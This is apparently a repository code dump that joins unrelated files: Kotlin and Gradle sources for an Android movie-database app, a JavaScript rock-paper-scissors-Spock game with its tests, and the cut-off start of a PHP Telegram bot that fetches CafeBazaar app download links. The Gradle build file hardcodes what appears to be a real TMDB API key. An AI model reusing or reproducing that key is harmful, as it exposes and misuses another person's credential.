onActivityCreated(savedInstanceState: Bundle?) { super.onActivityCreated(savedInstanceState) viewModel.apply { cast.observe(viewLifecycleOwner, Observer { castAdapter.submitList(it) }) crew.observe(viewLifecycleOwner, Observer { crewAdapter.submitList(it) }) similarMovie.observe(viewLifecycleOwner, Observer { similarMovieAdapter.submitList(it) }) } } companion object { fun newInstance() = MovieDetailFragment() } }<file_sep>package com.example.moviedb.data.local.dao import androidx.room.Dao import androidx.room.Delete import androidx.room.Insert import androidx.room.OnConflictStrategy.IGNORE import androidx.room.OnConflictStrategy.REPLACE import androidx.room.Query import com.example.moviedb.data.model.Movie import com.example.moviedb.data.model.SearchedMovie @Dao interface MovieDao { @Query("SELECT * FROM movie") suspend fun getMovieList(): List<Movie>? @Query("SELECT * FROM movie WHERE movie.id = :id") suspend fun getMovie(id: String): Movie? @Insert(onConflict = IGNORE) suspend fun insert(movie: Movie) @Insert(onConflict = IGNORE) suspend fun insertSearchedMovie(searchedMovie: SearchedMovie) @Query("SELECT * FROM SearchedMovie") suspend fun getSearchedMovieList(): List<SearchedMovie>? @Insert(onConflict = IGNORE) suspend fun insert(list: List<Movie>) @Insert(onConflict = REPLACE) suspend fun update(movie: Movie) @Delete suspend fun deleteMovie(movie: Movie) @Query("DELETE FROM movie WHERE id = :id") suspend fun deleteMovie(id: String) @Query("DELETE FROM movie") suspend fun deleteAll() @Query("SELECT * FROM movie LIMIT :pageSize OFFSET :pageIndex") suspend fun getMoviePage(pageSize: Int, pageIndex: Int): List<Movie>? @Query("SELECT * FROM movie WHERE title LIKE '%' || :search || '%'") suspend fun searchMovie(search: String?): List<Movie>? }<file_sep>package com.example.moviedb.ui.screen.moviedetail import android.widget.Filter import androidx.recyclerview.widget.DiffUtil import com.example.moviedb.R import com.example.moviedb.data.model.Crew import com.example.moviedb.databinding.ItemCastBinding import com.example.moviedb.ui.base.BaseListAdapter class CrewAdapter() : BaseListAdapter<Crew, ItemCastBinding>(object : DiffUtil.ItemCallback<Crew>() { override fun areItemsTheSame(oldItem: Crew, newItem: Crew): Boolean { return oldItem.id == newItem.id } override fun areContentsTheSame(oldItem: Crew, newItem: Crew): Boolean { return oldItem == newItem } }) { override fun getLayoutRes(viewType: Int): Int { return R.layout.item_crew } }<file_sep>apply plugin: 'com.android.application' apply plugin: 'kotlin-android' apply plugin: 'kotlin-android-extensions' apply plugin: 'kotlin-kapt' android { compileSdkVersion 29 buildToolsVersion "29.0.2" defaultConfig { applicationId "com.example.moviedb" minSdkVersion 18 targetSdkVersion 29 versionCode 1 versionName "1.0" multiDexEnabled = true testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" vectorDrawables { useSupportLibrary = true } } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } kotlinOptions.jvmTarget = JavaVersion.VERSION_1_8.toString() dataBinding { enabled = true } applicationVariants.all { buildConfigField("String", "BASE_URL", "\"https://api.themoviedb.org/\"") buildConfigField("String", "SMALL_IMAGE_URL", "\"https://image.tmdb.org/t/p/w200\"") buildConfigField("String", "LARGE_IMAGE_URL", "\"https://image.tmdb.org/t/p/w500\"") buildConfigField("String", "ORIGINAL_IMAGE_URL", "\"https://image.tmdb.org/t/p/original\"") buildConfigField("String", "TMBD_API_KEY", "\"2cdf3a5c7cf412421485f89ace91e373\"") } } dependencies { // common implementation("androidx.appcompat:appcompat:1.1.0") implementation("androidx.legacy:legacy-support-v4:1.0.0") implementation("androidx.constraintlayout:constraintlayout:2.0.0-beta5") implementation("androidx.recyclerview:recyclerview:1.1.0") implementation("com.google.android.material:material:1.2.0-alpha06") implementation("org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version") implementation("androidx.multidex:multidex:2.0.1") // List of KTX extensions // https://developer.android.com/kotlin/ktx/extensions-list implementation("androidx.core:core-ktx:1.3.0-rc01") // implementation("androidx.activity:activity-ktx:1.1.0") implementation("androidx.fragment:fragment-ktx:1.2.4") // implementation("androidx.lifecycle:lifecycle-runtime-ktx:2.2.0") // Lifecycle // https://developer.android.com/jetpack/androidx/releases/lifecycle // ViewModel implementation("androidx.lifecycle:lifecycle-viewmodel-ktx:2.2.0") // LiveData implementation("androidx.lifecycle:lifecycle-livedata-ktx:2.2.0") // alternately - if using Java8, use the following instead of lifecycle-compiler, provide @OnLifecycleEvent implementation("androidx.lifecycle:lifecycle-common-java8:2.2.0") // Saved state module for ViewModel // implementation ("androidx.lifecycle:lifecycle-viewmodel-savedstate:2.2.0") // room // https://developer.android.com/topic/libraries/architecture/room implementation("androidx.room:room-runtime:2.2.5") implementation 'androidx.lifecycle:lifecycle-extensions:2.2.0' kapt("androidx.room:room-compiler:2.2.5") // Kotlin Extensions and Coroutines support for Room implementation("androidx.room:room-ktx:2.2.5") // paging // https://developer.android.com/topic/libraries/architecture/paging implementation("androidx.paging:paging-runtime-ktx:2.1.2") // navigation // https://developer.android.com/jetpack/androidx/releases/navigation implementation("androidx.navigation:navigation-runtime-ktx:2.3.0-alpha06") implementation("androidx.navigation:navigation-fragment-ktx:2.3.0-alpha06") implementation("androidx.navigation:navigation-ui-ktx:2.3.0-alpha06") // Dynamic Feature Module Support // implementation("androidx.navigation:navigation-dynamic-features-fragment:2.3.0-alpha02") // work // https://developer.android.com/topic/libraries/architecture/workmanager // implementation("androidx.work:work-runtime-ktx:2.3.2") implementation("androidx.viewpager2:viewpager2:1.0.0") // rx // https://github.com/ReactiveX/RxJava // implementation("io.reactivex.rxjava3:rxjava:3.0.0") // coroutines // https://github.com/Kotlin/kotlinx.coroutines implementation("org.jetbrains.kotlinx:kotlinx-coroutines-core:1.3.5") implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.3.3") testImplementation("org.jetbrains.kotlinx:kotlinx-coroutines-test:1.3.5") // gson implementation("com.google.code.gson:gson:2.8.6") // retrofit // https://github.com/square/retrofit implementation("com.squareup.retrofit2:retrofit:2.7.2") implementation("com.squareup.retrofit2:converter-gson:2.7.2") implementation("com.squareup.okhttp3:logging-interceptor:4.4.0") // implementation("com.squareup.retrofit2:adapter-rxjava2:2.6.0") // glide // https://github.com/bumptech/glide implementation("com.github.bumptech.glide:glide:4.11.0") kapt("com.github.bumptech.glide:compiler:4.11.0") // koin // https://github.com/InsertKoinIO/koin // implementation("org.koin:koin-core:2.0.1") // implementation("org.koin:koin-android:2.0.1") implementation("org.koin:koin-androidx-viewmodel:2.1.5") // lottie // https://github.com/airbnb/lottie-android implementation("com.airbnb.android:lottie:3.4.0") // runtime permission // https://github.com/googlesamples/easypermissions // implementation("pub.devrel:easypermissions:3.0.0") // firebase // https://firebase.google.com/docs/android/setup implementation("com.google.firebase:firebase-analytics:17.4.1") implementation("com.google.firebase:firebase-crashlytics:17.0.0") // leak canary // https://square.github.io/leakcanary/ // debugImplementation("com.squareup.leakcanary:leakcanary-android:2.2") // timber // https://github.com/JakeWharton/timber implementation("com.jakewharton.timber:timber:4.7.1") // unit test testImplementation("junit:junit:4.13") testImplementation("org.mockito:mockito-core:3.3.3") testImplementation("android.arch.core:core-testing:1.1.1") androidTestImplementation("com.android.support.test:runner:1.0.2") androidTestImplementation("com.android.support.test.espresso:espresso-core:3.0.2") androidTestImplementation("android.arch.persistence.room:testing:1.1.1") androidTestImplementation("android.arch.core:core-testing:1.1.1") testImplementation("com.squareup.okhttp3:mockwebserver:4.4.0") testImplementation("org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version") // debugImplementation 'com.amitshekhar.android:debug-db:1.0.6' } <file_sep>package com.example.moviedb.ui.screen.latestmovielist import android.graphics.Color import android.os.Bundle import android.text.Editable import android.text.TextWatcher import android.view.View import android.widget.EditText import android.widget.Filter import android.widget.Filterable import androidx.databinding.ViewDataBinding import androidx.lifecycle.Observer import androidx.lifecycle.viewModelScope import androidx.recyclerview.widget.LinearLayoutManager import androidx.recyclerview.widget.RecyclerView import com.example.moviedb.data.model.Movie import com.example.moviedb.data.model.SearchedMovie import com.example.moviedb.databinding.FragmentLoadmoreRefreshBinding import com.example.moviedb.ui.base.BaseListAdapter import com.example.moviedb.ui.base.BaseLoadMoreRefreshFragment import com.example.moviedb.ui.screen.moviedetail.MovieDetailFragment import kotlinx.android.synthetic.main.fragment_loadmore_refresh.* import kotlinx.coroutines.launch import org.koin.androidx.viewmodel.ext.android.viewModel class LatestMovieFragment : BaseLoadMoreRefreshFragment<FragmentLoadmoreRefreshBinding, LatestMovieViewModel, Movie>(), Filterable { override val viewModel: LatestMovieViewModel by viewModel() var movieList: ArrayList<Movie>? = null var filteredList: MutableList<Movie> = java.util.ArrayList() override val listAdapter: BaseListAdapter<Movie, out ViewDataBinding> by lazy { LatestMovieAdapter( itemClickListener = { toMovieDetail(it) } ) } override val recentSelectedMovieAdapter: BaseListAdapter<SearchedMovie, out ViewDataBinding> by lazy { RecentMovieAdapter( searchedMovieItemClickListener = { toMovieDetailFromRecent(it) } ) } override fun getLayoutManager(): RecyclerView.LayoutManager = LinearLayoutManager(context) override fun onViewCreated(view: View, savedInstanceState: Bundle?) { super.onViewCreated(view, savedInstanceState) search_view?.addTextChangedListener(getTextWatcher(search_view)) if (search_recycler_view?.adapter == null) { search_recycler_view?.adapter = recentSelectedMovieAdapter } cancel_image_view.setOnClickListener { search_view.text?.clear() container_recently_searched.visibility = View.GONE listAdapter.submitList(movieList) } } override fun onActivityCreated(savedInstanceState: Bundle?) { super.onActivityCreated(savedInstanceState) container?.setBackgroundColor(Color.BLACK) viewModel.apply { movie.observe(viewLifecycleOwner, Observer { movieList = it as ArrayList<Movie>? if (it.isNotEmpty()) { search_view.visibility = View.VISIBLE cancel_image_view.visibility = View.VISIBLE } else { search_view.visibility = View.GONE cancel_image_view.visibility = View.GONE } }) selectedMovie.observe(viewLifecycleOwner, Observer { var recentMovieList: MutableList<SearchedMovie> = java.util.ArrayList() if (it.isNotEmpty() && movie.value!!.isNotEmpty() && search_view.text!!.isEmpty() ) { container_recently_searched.visibility = View.VISIBLE if (it.size > 5) { for (x in it.size - 1 downTo it.size - 5) { recentMovieList.add(it[x]) } } else { for (element in it) { recentMovieList.add(element) } } recentSelectedMovieAdapter.submitList(recentMovieList) } else { container_recently_searched.visibility = View.GONE } }) } } private fun toMovieDetail(movie: Movie) { val searchedMovie = movie.toSearchedMovie() container_recently_searched.visibility = View.GONE viewModel.viewModelScope.launch { viewModel.movieRepository.insertSearchedMovieLocal(searchedMovie) } // go to detail page val fragment = MovieDetailFragment.newInstance() val bundle = Bundle() bundle.putParcelable(KEY_MOVIE_ID, movie) fragment.arguments = bundle replaceFragment(fragment, "", true, -1) } private fun toMovieDetailFromRecent(searchedMovie: SearchedMovie) { val movie = searchedMovie.toMovie() // go to detail page val fragment = MovieDetailFragment.newInstance() val bundle = Bundle() bundle.putParcelable(KEY_MOVIE_ID, movie) fragment.arguments = bundle replaceFragment(fragment, "", true, -1) } companion object { const val KEY_MOVIE_ID = "movie" fun newInstance() = LatestMovieFragment() } private fun getTextWatcher(editText: EditText): TextWatcher { return object : TextWatcher { override fun beforeTextChanged(charSequence: CharSequence, i: Int, i1: Int, i2: Int) {} override fun onTextChanged(s: CharSequence, i: Int, i1: Int, i2: Int) { when (editText) { search_view -> if (s.isNotEmpty()) { container_recently_searched.visibility = View.GONE filter.filter(s) } else if (s.isEmpty()) { listAdapter.submitList(movieList) } } } override fun afterTextChanged(editable: Editable) {} } } override fun getFilter(): Filter { return object : Filter() { override fun performFiltering(charSequence: CharSequence): FilterResults { val charString = charSequence.toString() filteredList.clear() filteredList = if (charString.isEmpty()) { movieList!! } else { movieList!!.filter { if (charSequence.length == 1) { it.title!!.startsWith(charSequence, 0, true) } else { charString.toLowerCase() in it.title!!.toLowerCase() } } as ArrayList<Movie> } val filterResults = FilterResults() filterResults.values = filteredList return filterResults } override fun publishResults( charSequence: CharSequence, filterResults: FilterResults ) { filteredList = filterResults.values as ArrayList<Movie> listAdapter.submitList(filteredList) } } } }<file_sep>package com.example.moviedb.di import android.content.Context import androidx.room.Room import com.example.moviedb.data.constant.Constants import com.example.moviedb.data.local.db.AppDatabase import com.example.moviedb.data.repository.MovieRepository import com.example.moviedb.data.repository.impl.MovieRepositoryImpl import org.koin.dsl.module val repositoryModule = module { // database single { createAppDatabase(get()) } single { createMovieDao(get()) } // repository single<MovieRepository> { MovieRepositoryImpl(get(), get()) } } fun createAppDatabase(context: Context) = Room.databaseBuilder(context, AppDatabase::class.java, Constants.DATABASE_NAME).build() fun createMovieDao(appDatabase: AppDatabase) = appDatabase.movieDao() <file_sep>package com.example.moviedb.ui.screen.latestmovielist import androidx.recyclerview.widget.DiffUtil import com.example.moviedb.R import com.example.moviedb.data.model.Cast import com.example.moviedb.data.model.Movie import com.example.moviedb.data.model.SearchedMovie import com.example.moviedb.databinding.ItemCastBinding import com.example.moviedb.databinding.ItemMovieBinding import com.example.moviedb.databinding.ItemRecentMovieBinding import com.example.moviedb.ui.base.BaseListAdapter import com.example.moviedb.utils.setSingleClick class RecentMovieAdapter( val searchedMovieItemClickListener: (SearchedMovie) -> Unit = {}): BaseListAdapter<SearchedMovie, ItemRecentMovieBinding>(object : DiffUtil.ItemCallback<SearchedMovie>() { override fun areItemsTheSame(oldItem: SearchedMovie, newItem: SearchedMovie): Boolean { return oldItem.id == newItem.id } override fun areContentsTheSame(oldItem: SearchedMovie, newItem: SearchedMovie): Boolean { return oldItem == newItem } }) { override fun getLayoutRes(viewType: Int): Int { return R.layout.item_recent_movie } override fun bindFirstTime(binding: ItemRecentMovieBinding) { binding.apply { root.setSingleClick { item?.apply { searchedMovieItemClickListener(this) } } } } }<file_sep>package com.example.moviedb.data.remote import com.example.moviedb.data.model.Movie import com.example.moviedb.data.remote.response.GetCastAndCrewResponse import com.example.moviedb.data.remote.response.GetMovieListResponse import com.example.moviedb.data.remote.response.GetMovieVideos import retrofit2.http.GET import retrofit2.http.Path import retrofit2.http.QueryMap interface ApiService { @GET("3/movie/now_playing") suspend fun getLatestMovieAsync(@QueryMap hashMap: HashMap<String, String> = HashMap()): GetMovieListResponse @GET("3/movie/{movie_id}") suspend fun getMovieAsync(@QueryMap hashMap: HashMap<String, String> = HashMap()): Movie @GET("3/movie/{movie_id}/credits") suspend fun getMovieCreditsAsync(@Path("movie_id") movieId: String): GetCastAndCrewResponse @GET("3/movie/{movie_id}/similar") suspend fun getSimilarMovieAsync(@Path("movie_id") movieId: String): GetMovieListResponse @GET("3/movie/{movie_id}/videos") suspend fun getVideoAsync(@Path("movie_id") movieId: String): GetMovieVideos } object ApiParams { const val PAGE = "page" }
569147e3b873a336bb125116f35cf2a3974853da
[ "Kotlin", "Gradle" ]
16
Kotlin
vikasnikam/MovieDBTest
41841e59c4791a00d542c7c7de6f47247b7d75bd
41f3658b08795fcddb2d230be845ad083a688509
refs/heads/master
<repo_name>carmelohuesca/game-ppt<file_sep>/test/SpockGame.spec.js describe('Especificaciones SpockGame:', function() { var game; var PLAYERONE = 'juan'; var PLAYERTWO = 'jose'; var ROCK, PAPER, SCISSORS, LIZARD, SPOCK; var DRAW, PLAYERONEWINS, PLAYERTWOWINS; beforeEach(function() { game = new moduleGame.SpockGame(PLAYERONE, PLAYERTWO); ROCK = game.CHOICE.ROCK; PAPER = game.CHOICE.PAPER; SCISSORS = game.CHOICE.SCISSORS; LIZARD = game.CHOICE.LIZARD; SPOCK = game.CHOICE.SPOCK; DRAW = game.RESULTS.DRAW; PLAYERONEWINS = game.RESULTS.PLAYERONEWINS; PLAYERTWOWINS = game.RESULTS.PLAYERTWOWINS; }); it('el juego se inicia con dos jugadores', function() { expect(game).toBeDefined(); expect(game.playerOne).toBe(PLAYERONE); expect(game.playerTwo).toBe(PLAYERTWO); expect(game.rounds).toBe(0); }); it('se incrementa el número de ronda en cada de tirada', function() { expect(game.rounds).toBe(0); expect(game.round(ROCK, ROCK)).toBe(DRAW); expect(game.rounds).toBe(1); }); it('el juego tiene cinco opciones inicialmente (piedra, papel, tijera, lagarto, spock)', function() { expect(ROCK).toBe('piedra'); expect(PAPER).toBe('papel'); expect(SCISSORS).toBe('tijeras'); expect(LIZARD).toBe('lagarto'); expect(SPOCK).toBe('spock'); }); describe('Empatan cuando:', function() { it('los dos jugadores eligen la misma opción', function() { expect(game.round(ROCK, ROCK)).toBe(DRAW); expect(game.round(PAPER, PAPER)).toBe(DRAW); expect(game.round(SCISSORS, SCISSORS)).toBe(DRAW); expect(game.round(LIZARD, LIZARD)).toBe(DRAW); expect(game.round(SPOCK, SPOCK)).toBe(DRAW); }); }); describe('Gana el jugador 1 cuando:', function() { it('el jugador 1 elige "piedra" y el jugador 2 elige "tijeras"', function() { expect(game.round(ROCK, SCISSORS)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "papel" y el jugador 2 elige "piedra"', function() { expect(game.round(PAPER, ROCK)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "tijeras" y el jugador 2 elige "papel"', function() { expect(game.round(SCISSORS, PAPER)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "piedra" y el jugador 2 elige "lagarto"', function() { expect(game.round(ROCK, LIZARD)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "papel" y el jugador 2 elige "spock"', function() { expect(game.round(PAPER, SPOCK)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "tijeras" y el jugador 2 elige "lagarto"', function() { expect(game.round(SCISSORS, LIZARD)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "lagarto" y el jugador 2 elige "spock"', function() { expect(game.round(LIZARD, SPOCK)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "lagarto" y el jugador 2 elige "papel"', function() { expect(game.round(LIZARD, PAPER)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "spock" y el jugador 2 elige "piedra"', function() { expect(game.round(SPOCK, ROCK)).toBe(PLAYERONEWINS); }); it('el jugador 1 elige "spock" y el jugador 2 elige "tijeras"', function() { expect(game.round(SPOCK, SCISSORS)).toBe(PLAYERONEWINS); }); }); describe('Gana el jugador 2 cuando:', function() { it('el jugador 1 elige "piedra" y el jugador 2 elige "papel"', function() { expect(game.round(ROCK, PAPER)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "papel" y el jugador 2 elige "tijeras"', function() { expect(game.round(PAPER, SCISSORS)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "tijeras" y el jugador 2 elige "piedra"', function() { expect(game.round(SCISSORS, ROCK)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "piedra" y el jugador 2 elige "spock"', function() { expect(game.round(ROCK, SPOCK)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "papel" y el jugador 2 elige "lagarto"', function() { expect(game.round(PAPER, LIZARD)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "tijeras" y el jugador 2 elige "spock"', function() { expect(game.round(SCISSORS, SPOCK)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "lagarto" y el jugador 2 elige "piedra"', function() { expect(game.round(LIZARD, ROCK)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "lagarto" y el jugador 2 elige "tijeras"', function() { expect(game.round(LIZARD, SCISSORS)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "spock" y el jugador 2 elige "papel"', function() { expect(game.round(SPOCK, PAPER)).toBe(PLAYERTWOWINS); }); it('el jugador 1 elige "spock" y el jugador 2 elige "lagarto"', function() { expect(game.round(SPOCK, LIZARD)).toBe(PLAYERTWOWINS); }); }); }); <file_sep>/src/game.js /** * @namespace moduleGame * @description modulo del juego Piedra-Papel-Tijera * @return {object} Objeto con la clase del juego */ var moduleGame = (function() { 'use strict'; /** * @class moduleGame.Game * @memberOf moduleGame * @description Representa el juego de Piedra-Papel-Tijera. * @constructor * @param {string} playerOne - Nombre del jugador 1. * @param {string} playerTwo - Nombre del jugador 2. */ var Game = function(playerOne, playerTwo) { this.playerOne = playerOne; this.playerTwo = playerTwo; this.init(); }; /** * method init * memberOf Game * @description Método que inicializa las rondas. */ Game.prototype.init = function() { this.CHOICE = Object.freeze({ ROCK: 'piedra', PAPER: 'papel', SCISSORS: 'tijeras' }); this.RESULTS = Object.freeze({ DRAW: 'empate', PLAYERONEWINS: 'gana el jugador ' + this.playerOne, PLAYERTWOWINS: 'gana el jugador ' + this.playerTwo }); this.resetRound(); }; /** * method resetRound * memberOf Game * @description Método para reiniciar las rondas. */ Game.prototype.resetRound = function() { this.rounds = 0; }; /** * method changeRound * memberOf Game * @description Método que se va a ejecutar cuando se cambie de ronda. */ Game.prototype.changeRound = function() { this.rounds++; }; /** * method round * memberOf Game * @description Método que se ejecuta en cada ronda. * @param {string} playerOneChoice Elección del jugador 1. * @param {string} playerTwoChoice Elección del jugador 2. * @return {string} Resultado de la ronda. */ Game.prototype.round = function(playerOneChoice, playerTwoChoice) { this.changeRound(); return this.logic(playerOneChoice, playerTwoChoice); }; /** * method logic * memberOf Game * @description Método que se encarga de ejecutar la lógica. * @param {string} playerOneChoice Elección del jugador 1. * @param {string} playerTwoChoice Elección del jugador 2. * @return {string} Resultado de la ronda. */ Game.prototype.logic = function(playerOneChoice, playerTwoChoice) { if (playerOneChoice === playerTwoChoice) { this.result = this.RESULTS.DRAW; } else { switch (playerOneChoice) { case this.CHOICE.ROCK: this.rockChoice(playerTwoChoice); break; case this.CHOICE.PAPER: this.paperChoice(playerTwoChoice); break; case this.CHOICE.SCISSORS: this.scissorsChoice(playerTwoChoice); break; } } return this.result; }; /** * method rockChoice * memberOf Game * @description Lógica cuando el jugador 1 elige Piedra. * @param {string} choice Elección del jugador. */ Game.prototype.rockChoice = function(choice) { this.shouldWinWhen(choice !== this.CHOICE.PAPER); }; /** * method paperChoice * memberOf Game * @description Lógica cuando el jugador 1 elige Papel. * @param {string} choice Elección del jugador. */ Game.prototype.paperChoice = function(choice) { this.shouldWinWhen(choice !== this.CHOICE.SCISSORS); }; /** * method scissorsChoice * memberOf Game * @description Lógica cuando el jugador 1 elige Tijeras. * @param {string} choice Elección del jugador. */ Game.prototype.scissorsChoice = function(choice) { this.shouldWinWhen(choice !== this.CHOICE.ROCK); }; /** * method shouldWinWhen * memberOf Game * @description Método que resuelve la lógica para que gane el jugador 1. * @param {boolean} isPlayerOneWinnerChoice Lógica booleana que para que gane el jugador 1. */ Game.prototype.shouldWinWhen = function(isPlayerOneWinnerChoice) { this.playerTwoWins(!isPlayerOneWinnerChoice); }; /** * method playerTwoWins * memberOf Game * @description Método que resuelve la lógica para que gane el jugador 2. * @param {boolean} isPlayerTwoWinnerChoice Lógica booleana que para que gane el jugador 2. */ Game.prototype.playerTwoWins = function(isPlayerTwoWinnerChoice) { this.result = (isPlayerTwoWinnerChoice) ? this.RESULTS.PLAYERTWOWINS : this.RESULTS.PLAYERONEWINS; }; /** * @class moduleGame.SpockGame * @memberOf moduleGame * @augments moduleGame.Game * @description Representa el juego de Piedra-Papel-Tijera-Lagarto-Spock. * @constructor * @param {string} playerOne - Nombre del jugador 1. * @param {string} playerTwo - Nombre del jugador 2. */ var SpockGame = function(playerOne, playerTwo) { Game.call(this, playerOne, playerTwo); }; SpockGame.prototype = Object.create(Game.prototype); SpockGame.prototype.constructor = SpockGame; /** * method init * memberOf SpockGame * @description Método que inicializa las rondas. */ SpockGame.prototype.init = function() { this.CHOICE = Object.freeze({ ROCK: 'piedra', PAPER: 'papel', SCISSORS: 'tijeras', LIZARD: 'lagarto', SPOCK: 'spock' }); this.RESULTS = Object.freeze({ DRAW: 'empate', PLAYERONEWINS: 'gana el jugador ' + this.playerOne, PLAYERTWOWINS: 'gana el jugador ' + this.playerTwo }); this.resetRound(); }; /** * method logic * memberOf SpockGame * @description Método que se encarga de ejecutar la lógica. * @param {string} playerOneChoice Elección del jugador 1. * @param {string} playerTwoChoice Elección del jugador 2. * @return {string} Resultado de la ronda. */ SpockGame.prototype.logic = function(playerOneChoice, playerTwoChoice) { if (playerOneChoice === playerTwoChoice) { this.result = this.RESULTS.DRAW; } else { switch (playerOneChoice) { case this.CHOICE.ROCK: this.rockChoice(playerTwoChoice); break; case this.CHOICE.PAPER: this.paperChoice(playerTwoChoice); break; case this.CHOICE.SCISSORS: this.scissorsChoice(playerTwoChoice); break; case this.CHOICE.LIZARD: this.lizardChoice(playerTwoChoice); break; case this.CHOICE.SPOCK: this.spockChoice(playerTwoChoice); break; } } return this.result; }; /** * method rockChoice * memberOf SpockGame * @description Lógica cuando el jugador 1 elige Piedra. * @param {string} choice Elección del jugador. */ SpockGame.prototype.rockChoice = function(choice) { this.shouldWinWhen(this.isDistinctOf(choice, 'PAPER', 'SPOCK')); }; /** * method paperChoice * memberOf SpockGame * @description Lógica cuando el jugador 1 elige Papel. * @param {string} choice Elección del jugador. */ SpockGame.prototype.paperChoice = function(choice) { this.shouldWinWhen(this.isDistinctOf(choice, 'SCISSORS', 'LIZARD')); }; /** * method scissorsChoice * memberOf SpockGame * @description Lógica cuando el jugador 1 elige Tijeras. * @param {string} choice Elección del jugador. */ SpockGame.prototype.scissorsChoice = function(choice) { this.shouldWinWhen(this.isDistinctOf(choice, 'ROCK', 'SPOCK')); }; /** * method lizardChoice * memberOf SpockGame * @description Lógica cuando el jugador 1 elige Lagarto. * @param {string} choice Elección del jugador. */ SpockGame.prototype.lizardChoice = function(choice) { this.shouldWinWhen(this.isDistinctOf(choice, 'ROCK', 'SCISSORS')); }; /** * method spockChoice * memberOf SpockGame * @description Lógica cuando el jugador 1 elige Spock. * @param {string} choice Elección del jugador. */ SpockGame.prototype.spockChoice = function(choice) { this.shouldWinWhen(this.isDistinctOf(choice, 'PAPER', 'LIZARD')); }; /** * method isDistinctOf * memberOf SpockGame * @description La elección es distinta de las dos siguientes. * @param {string} choice eleccion del jugador. * @param {string} firstChoice nombre de la elección primera simplificada. * @param {string} secondChoice nombre de la elección primera simplificada. * @return {Boolean} Resultado de la elección */ SpockGame.prototype.isDistinctOf = function(choice, firstChoice, secondChoice) { return (choice !== this.CHOICE[firstChoice] && choice !== this.CHOICE[secondChoice]); }; return { Game: Game, SpockGame: SpockGame }; }());
530128482aa3d9c1b228f508e9a8b0a168ff8300
[ "JavaScript" ]
2
JavaScript
carmelohuesca/game-ppt
83285dac0ead235108413916ffbdacdfd672c4e3
5278cddf7dca74a2698f274079bfb6a3c6cf4ffe
refs/heads/master
<repo_name>MGunner/DlCafeBazzar<file_sep>/DCafeBazarBot.php <?php ob_start(); /* ─═ঊঈঊঈ═─╮ DCafeBazarBot V 1.o ─═ঊঈঊঈ═─╯ */ define('API_KEY','توکن شما'); //----------------------------------------------------------------------------------------- //فانکشن MrPHPBot : function MrPHPBot($method,$datas=[]){ $url = "https://api.telegram.org/bot".API_KEY."/".$method; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_POSTFIELDS,$datas); $res = curl_exec($ch); if(curl_error($ch)){ var_dump(curl_error($ch)); }else{ return json_decode($res); } } //----------------------------------------------------------------------------------------- //متغیر ها : $update = json_decode(file_get_contents('php://input')); $message = $update->message; $from_id = $message->from->id; mkdir("data/$from_id"); $chat_id = $message->chat->id; mkdir("data/$from-id"); $message_id = $message->message_id; $first_name = $message->from->first_name; $last_name = $message->from->last_name; $username = $message->from->username; $textmassage = $message->text; $step= file_get_contents("data/$from_id/file.txt"); $Dev = 193930120; $txtt = file_get_contents('data/users.txt'); $forward_from_chat = $update->message->forward_from_chat; $from_chat_id = $forward_from_chat->id; $data = $update->callback_query->data; $firstcall = $update->callback_query->message->chat->first_name; $usercall = $update->callback_query->message->chat->username; $messageid = $update->callback_query->message->message_id; $chatid = $update->callback_query->message->chat->id; $nameapp = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazar=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameapp"),true); $s1=$cafebazar['0']; $n1=$s1['text']; $s2=$cafebazar['1']; $n2=$s2['text']; $s3=$cafebazar['2']; $n3=$s3['text']; $s4=$cafebazar['3']; $n4=$s4['text']; $s5=$cafebazar['4']; $n5=$s5['text']; $s6=$cafebazar['5']; $n6=$s6['text']; $s7=$cafebazar['6']; $n7=$s7['text']; $s8=$cafebazar['7']; $n8=$s8['text']; $s9=$cafebazar['8']; $n9=$s9['text']; $s10=$cafebazar['9']; $n10=$s10['text']; $p1=$s1['packname']; $p2=$s2['packname']; $p3=$s3['packname']; $p4=$s4['packname']; $p5=$s5['packname']; $p6=$s6['packname']; $p7=$s7['packname']; $p8=$s8['packname']; $p9=$s9['packname']; $p10=$s10['packname']; $nameappin1 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin1=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin1"),true); $s1in1=$cafebazarin1['0']; $p1in1=$s1in1['packname']; $icon1=$s1in1['icon']; $app1=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in1"),true); $applink1=$app1['link']; $appinfo1=$app1['info']; $appinstal1=$appinfo1['active-installs']; $appc1=$appinfo1['Category']; $apps1=$appinfo1['Size']; $appv1=$appinfo1['Version']; $appd1=$appinfo1['Description']; //2 $nameappin2 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin2=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin2"),true); $s1in2=$cafebazarin2['1']; $p1in2=$s1in2['packname']; $icon2=$s1in2['icon']; $app2=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in2"),true); $applink2=$app2['link']; $appinfo2=$app2['info']; 